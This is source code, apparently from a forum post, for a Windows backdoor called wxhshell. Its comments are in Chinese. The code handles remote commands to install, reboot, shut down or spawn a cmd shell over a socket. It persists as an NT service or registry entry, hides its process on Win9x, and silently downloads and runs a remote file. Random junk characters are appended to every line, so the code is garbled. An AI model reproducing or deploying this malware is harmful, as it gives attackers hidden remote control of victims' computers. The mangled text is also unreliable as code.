? <slB>8  
    switch(cmd[0]) { U;4:F{3m   
  2FS,B\d  
  // 帮助 @[S\ FjI  
  case '?': { `7|v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N LC}XL  
    break; d&0^AvM@  
  } @4b"0ne}h  
  // 安装 ~>ACMO  
  case 'i': { E-i rB/0  
    if(Install()) .)mw~3]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :U<`iJwY  
    else uU>Bun  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cQUmcK/,  
    break; DP*[t8  
    } */RtN`dh  
  // 卸载 OY6l t.t  
  case 'r': { u*&wMR>Crf  
    if(Uninstall()) [N925?--S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I "9S  
    else r>`65o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [3rvRJ.  
    break; jzu1>*ok  
    } x5 3 aGi|  
  // 显示 wxhshell 所在路径 a3037~X  
  case 'p': { 'LR5s[$j  
    char svExeFile[MAX_PATH]; F\&R nDJ  
    strcpy(svExeFile,"\n\r"); ^'C1VQ%  
      strcat(svExeFile,ExeFile); BxO8oKe  
        send(wsh,svExeFile,strlen(svExeFile),0); X'WbS  
    break; rRL:]%POT  
    } R y0n_J:7  
  // 重启 sL XQ)Ce  
  case 'b': { Q5/".x^@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c ++tk4  
    if(Boot(REBOOT)) }ruBbeQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yyby 1  
    else { izow=}  
    closesocket(wsh); hO@'WoniW  
    ExitThread(0); e&E""ye  
    } SV}I+O_w  
    break; y}5H<ZcXA  
    } q3e %L  
  // 关机 Y|g8xkI}XB  
  case 'd': { 8AVM(d@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y: oL  
    if(Boot(SHUTDOWN)) X4lz?Y:*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ">*PH}b  
    else { \L(~50{(  
    closesocket(wsh); ;zIAh[z  
    ExitThread(0); JV Fn=Mw  
    } NB;8 e>8  
    break; <|~X,g;f  
    } CYmwT>P+*4  
  // 获取shell J"L+`i  
  case 's': { (qnzz!s  
    CmdShell(wsh); xg k~y,F  
    closesocket(wsh); x-+Hy\^@|  
    ExitThread(0); Ua)ARi %  
    break; n:,At] ky  
  } _<|NVweFS  
  // 退出 Jc"xH~,  
  case 'x': { <T+)~&g$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J1T_wA_  
    CloseIt(wsh); ;z/Z(7<; ;  
    break; +6-c<m|  
    } SZW`|ajH  
  // 离开 x}$SB%9/  
  case 'q': { a.#`>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qI"Xh" c?  
    closesocket(wsh); F$y3oX  
    WSACleanup(); t23uQR#>b_  
    exit(1); [QEV6 S]  
    break; {b6| wQ\  
        } m-4P*P$X  
  } _ ]@   
  } V6P2W0 m  
W+d=BnOa8  
  // 提示信息 /]zn8 d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~v"4;A 6  
} N"1o> !  
  } >M=_:52.+  
SEa'>UG  
  return; +e}v) N  
} jR[VPm=  
],#Xa.r  
// shell模块句柄 S-l<+O1fy  
int CmdShell(SOCKET sock) <ZO"0oz%  
{ $`,10uw  
STARTUPINFO si; U:"X *  
ZeroMemory(&si,sizeof(si)); h|qTMwPr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X5@+M!`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {o1 vv+i  
PROCESS_INFORMATION ProcessInfo; pURtk-Fr2  
char cmdline[]="cmd"; x7\b-EC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {\zTE1X9  
  return 0; }huj%Pnk )  
} Rp.42v#ck  
'u@,,FFz[K  
// 自身启动模式 T_iX1blrgh  
int StartFromService(void) U9"g;t+/   
{ Qw>~] d,Z  
typedef struct {txW>rZX  
{ %8Eu{3  
  DWORD ExitStatus; 0V;9v  
  DWORD PebBaseAddress; tVfZ~q J  
  DWORD AffinityMask; sg YPR  
  DWORD BasePriority; WB)pE'5  
  ULONG UniqueProcessId; `/ <y0H  
  ULONG InheritedFromUniqueProcessId; K0;caqE^  
}   PROCESS_BASIC_INFORMATION; EzII!0 F  
U{1%ldOJ%  
PROCNTQSIP NtQueryInformationProcess; X1DE   
Q1kZ+b&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pLYLHS`*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L%S(z)xX3  
i~Qnw-^B  
  HANDLE             hProcess; L6d^e53AP  
  PROCESS_BASIC_INFORMATION pbi; 1S[4@rZ  
]{Y7mpdB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aH/8&.JLi  
  if(NULL == hInst ) return 0; 8*zORz  
q@i>)nC R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uNKf!\Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M r-l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #W$6[#7=I  
#~}4< 18  
  if (!NtQueryInformationProcess) return 0; )7c/i+FsC  
xig4H7V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pk8`suZ  
  if(!hProcess) return 0; [_T6  
QLxe1[qI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?_-5W9  
`y3*\l  
  CloseHandle(hProcess); nt:ZO,C:R  
4Sz2 9\X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xWK0p'E0  
if(hProcess==NULL) return 0; |zbM$37 ?k  
`\beQ(g  
HMODULE hMod; %45*DT  
char procName[255]; .Te GA;  
unsigned long cbNeeded; j'x@P+A  
V= g u'~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G#L6;  
/ z m+  
  CloseHandle(hProcess); "M;[c9  
;fYJ]5>  
if(strstr(procName,"services")) return 1; // 以服务启动 z? Iu;X  
vs^)=  
  return 0; // 注册表启动 I p<~Y  
} |Ed?s  
U:AB%gr[  
// 主模块 1@t8i?:h  
int StartWxhshell(LPSTR lpCmdLine) 6W< Ig;  
{ wwNkJ+  
  SOCKET wsl; naiQ$uq0  
BOOL val=TRUE; +TW,!.NBG  
  int port=0; ^S`N\X  
  struct sockaddr_in door; "#:h#uRUb  
9ec>#Vxx  
  if(wscfg.ws_autoins) Install(); ki'<qa  
5g`J}@"k  
port=atoi(lpCmdLine); ,V9 r2QY  
R2==<"gq  
if(port<=0) port=wscfg.ws_port; y1h3Ch>Y  
8%`h:fE  
  WSADATA data; e<{waJ1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -k  }LW4  
=)#<u9 qqL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a$EudD#+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }Ui)xi:8  
  door.sin_family = AF_INET; cm8co  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "!Nu A  
  door.sin_port = htons(port); FzOlM-)m   
u/CR7Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Zbr1e5?  
closesocket(wsl); /!_FE+  
return 1; pJ x H  
} cpPS8V  
i)/#u+Y1P  
  if(listen(wsl,2) == INVALID_SOCKET) { EUq6) K  
closesocket(wsl); ?y@;=x!'  
return 1; R2qz>kyyB  
} _dc,}C  
  Wxhshell(wsl); F ~e}=Nb  
  WSACleanup(); S^N{=*  
rcf#8  
return 0; {qm5H7sL  
'X\C/8\  
} P  V9q=  
DG=_E\"#  
// 以NT服务方式启动 -aDBdZ;y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iA4VT,  
{ {M23a _t\  
DWORD   status = 0; - v=ndJ.  
  DWORD   specificError = 0xfffffff; SbobXTbG  
/GA-1cS_(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BOl*. t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qvs[Gkaa@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z-|d/#h  
  serviceStatus.dwWin32ExitCode     = 0; :FixLr!q  
  serviceStatus.dwServiceSpecificExitCode = 0; { !t6& A  
  serviceStatus.dwCheckPoint       = 0; "VeNc,-nfQ  
  serviceStatus.dwWaitHint       = 0; 9Z:pss@  
9x14I2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CbMClnF  
  if (hServiceStatusHandle==0) return; @ 3b-  
/b{Ufo3v  
status = GetLastError(); Z"G?+gM@  
  if (status!=NO_ERROR)  P!/:yWd  
{ n* z;%'0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'fIG$tr9X  
    serviceStatus.dwCheckPoint       = 0; kCKCJ }N  
    serviceStatus.dwWaitHint       = 0; CasFj9,  
    serviceStatus.dwWin32ExitCode     = status; ([hd  
    serviceStatus.dwServiceSpecificExitCode = specificError; O.?q8T)n82  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tTe:Oq  
    return; V/8yW3]Xy  
  } wHErF #xo  
C 2?p>S/q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EkP(] F  
  serviceStatus.dwCheckPoint       = 0; =1j`VJU9  
  serviceStatus.dwWaitHint       = 0; >&|/4`HSB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 68!=`49r>  
} vFGVz  
\fC}l Ll  
// 处理NT服务事件,比如:启动、停止 Y;8.(0r/  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  ePI)~  
{ pB79#4  
switch(fdwControl) GnW_^$Fs  
{ ptpu u=3"  
case SERVICE_CONTROL_STOP: YwF\  
  serviceStatus.dwWin32ExitCode = 0; bhT:MW!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mvBUm-X  
  serviceStatus.dwCheckPoint   = 0; g8;JpPw  
  serviceStatus.dwWaitHint     = 0; 0Yc#fD  
  { j=w`%nh4"f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @33-UP9o  
  } xW'(]Z7_  
  return; d#nKTqSg  
case SERVICE_CONTROL_PAUSE: ,:/3'L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,m.IhnCV\  
  break; q0QB[)AP  
case SERVICE_CONTROL_CONTINUE: w24@KaKFo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *mXs(u  
  break; zI3Bb?4.  
case SERVICE_CONTROL_INTERROGATE: @&]%%o+  
  break; r1X\$&  
}; 4O3-PU>N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (:T\<  
} 0~j0x#  
. xdSUe  
// 标准应用程序主函数 @C6.~OiP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p'IF2e&z  
{ /CN`U7:E  
<lwkjt=RV  
// 获取操作系统版本 n6 a=(T  
OsIsNt=GetOsVer(); v}\Nx[}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [D%5Fh\0  
+ %07J6  
  // 从命令行安装 -.X-02  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q'S"$^~{  
R7d45Wl  
  // 下载执行文件 Qtpw0t"  
if(wscfg.ws_downexe) { 8z h{?0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $,~D-~-  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0? QTi(  
} m|w-}s,  
Cl5l+I\1  
if(!OsIsNt) { v5;V$EGD&  
// 如果时win9x,隐藏进程并且设置为注册表启动 h|j $Jy  
HideProc(); "?UBW5nM#  
StartWxhshell(lpCmdLine); <wZ2S3RNA  
} {"uLV{d  
else 69$[yt>KYz  
  if(StartFromService()) /!mF,oR!  
  // 以服务方式启动 89[5a  
  StartServiceCtrlDispatcher(DispatchTable); yy%'9E ldc  
else 2=PX1kI  
  // 普通方式启动 5dE@ePO[/9  
  StartWxhshell(lpCmdLine); KK%R3{  
58@YWv Ak  
return 0; -6OgM}  
}
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只看该作者 1 发表于: 2006-10-10
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